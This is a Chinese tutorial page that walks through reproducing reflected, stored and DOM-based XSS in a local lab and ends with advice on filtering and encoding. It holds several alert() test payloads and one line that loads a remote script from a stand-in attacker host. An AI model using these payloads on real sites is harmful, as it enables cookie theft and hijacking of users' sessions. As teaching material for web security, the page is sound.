| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> PHP知识库 -> 跨站脚本攻击(XSS)复现与防范 -> 正文阅读 |
|
[PHP知识库]跨站脚本攻击(XSS)复现与防范 |
目录 xss漏洞介绍跨站脚本攻击,英文全称是Cross Site Scripting,为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS XSS攻击,通常指的是攻击者通过“HTML注入”篡改网页,插入恶意脚本,代码注入的一种攻击手段,当其他用户浏览网页时就会受影响 常见的危害如窃取cookie,未授权操作,键盘记录,钓鱼等等 XSS是什么那XSS到底是什么呢?举个例子,假设有一个页面,会把用户输入的参数直接输出至页面上,代码如下
用户通过GET方式向param提交的参数会回显至页面上,若访问 http://127.0.0.1/1.php?param=ganyu F12查看源码: 但是如果攻击者提交的是一段HTML代码呢? http://127.0.0.1/1.php?param=<script>alert(/xss/)</script> alert()方法用于显示带有一条指定消息和一个 OK 按钮的警告框 再次查看源码 可以看见,用户输入的script脚本已被写入至页面,alert(/xss/)在当前页面被执行 如果构造的payload不是<script>alert(/xss/)</script>,而是<script src=http://www.exp.com/exp.js></script> 真正的payload写在这个远程脚本exp.js中,避免直接在URL内写入大量javascript 以上例子就是典型的XSS第一种类型:反射型XSS XSS漏洞原理根据效果不同而分为三类: 反射型XSS 攻击方式:攻击者通过电子邮件等方式将包含的XSS代码恶意链接发送给目标用户,当用户访问链接时,服务器把带有XSS代码的数据发送给目标用户浏览器,浏览器解析这段恶意脚本,导致XSS漏洞,这种攻击方式也称为“非持久型XSS” 存储型XSS 攻击方式:攻击者在发帖过程中,将恶意脚本连同正常信息一起注入帖子的内容中,随着帖子被服务器存储下来,攻击脚本将被永久地存放在目标服务器的数据库中,具有很高的隐蔽性,当正常用户浏览这个被插入恶意脚本的帖子时,恶意脚本会在他们的浏览器中执行,这种攻击方式也称为“持久型XSS” DOM型XSS 攻击方式:用户请求一个经过专门设计的URL,由攻击者提交,其中包含XSS代码,服务器的响应不会以任何方式包含攻击者的脚本,当用户浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞 反射型XSS攻击复现源码如下:
这段代码实现的功能是在表单内的输入框提交内容,单击提交按钮后,会回显至页面上,若访问http://127.0.0.1/1.html?xss_input_value=ganyu,ganyu将输出到页面上 但是如果访问的是http://127.0.0.1/1.html?xss_input_value=%22%3E%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E呢? payload:"><script>alert(/xss/)</script> F12查看源码,可以看到,输入的双引号闭合了value属性的双引号,并且重新插入一段HTML代码<script>alert(/xss/)</script>,如下所示 在反射型xss靶场中,通过GET方式提交参数xss_input_value的值,echo将会执行输出input标签,并将赋值给xss_input_value的值带入input的value中,当浏览器执行<input type="text" value=""><script>alert(/xss/)</script>">时,造成XSS漏洞,利用同样方式可以构造的payload如下 "><img src=1 οnerrοr=alert(/xss/)> 存储型XSS攻击复现存储型XSS页面实现的功能是获取用户输入的留言信息存储至数据库,并将留言信息输出到页面上 源码如下:
首先复现需要创建一个名为xss的数据库,新建一个xsstable表,两个字段名,title和content。 当用户插入一条标题为hello,内容为world时,数据库中数据如下所示 那如果攻击者插入的标题为<img src=1 οnerrοr=alert(/xss/)>呢? 再次查询 能看见,成功插入了数据。当浏览器访问的时候,浏览器会将标题输出至页面,页面执行HTML代码,导致弹窗。此时,这个XSS也称“持久性XSS” DOM型XSS攻击复现源码如下:
单击“替换”会执行javascript的tihuan函数,tihuan函数为DOM操作,HTML的标签都是节点,通过HTML DOM,树中的所有节点均可通过javascript访问,如通过 document.getElementById获取ID为id1的节点,然后将节点id1的内容修改成id为dom_input中的值,当攻击者构造payload为,则造成XSS弹窗漏洞 常用的XSS测试语句
关于XSS的防御对用户提交的内容进行过滤,对url中的参数进行过滤,包括"","<",">","on*"等等,过滤掉会导致脚本执行的相关内容,对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。 对输出到页面的数据进行相应的编码转换,包括HTML实体编码,javascript编码等等 |
|
PHP知识库 最新文章 |
Laravel 下实现 Google 2fa 验证 |
UUCTF WP |
DASCTF10月 web |
XAMPP任意命令执行提升权限漏洞(CVE-2020- |
[GYCTF2020]Easyphp |
iwebsec靶场 代码执行关卡通关笔记 |
多个线程同步执行,多个线程依次执行,多个 |
php 没事记录下常用方法 (TP5.1) |
php之jwt |
2021-09-18 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 | -2024/12/28 13:50:10- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |
数据统计 |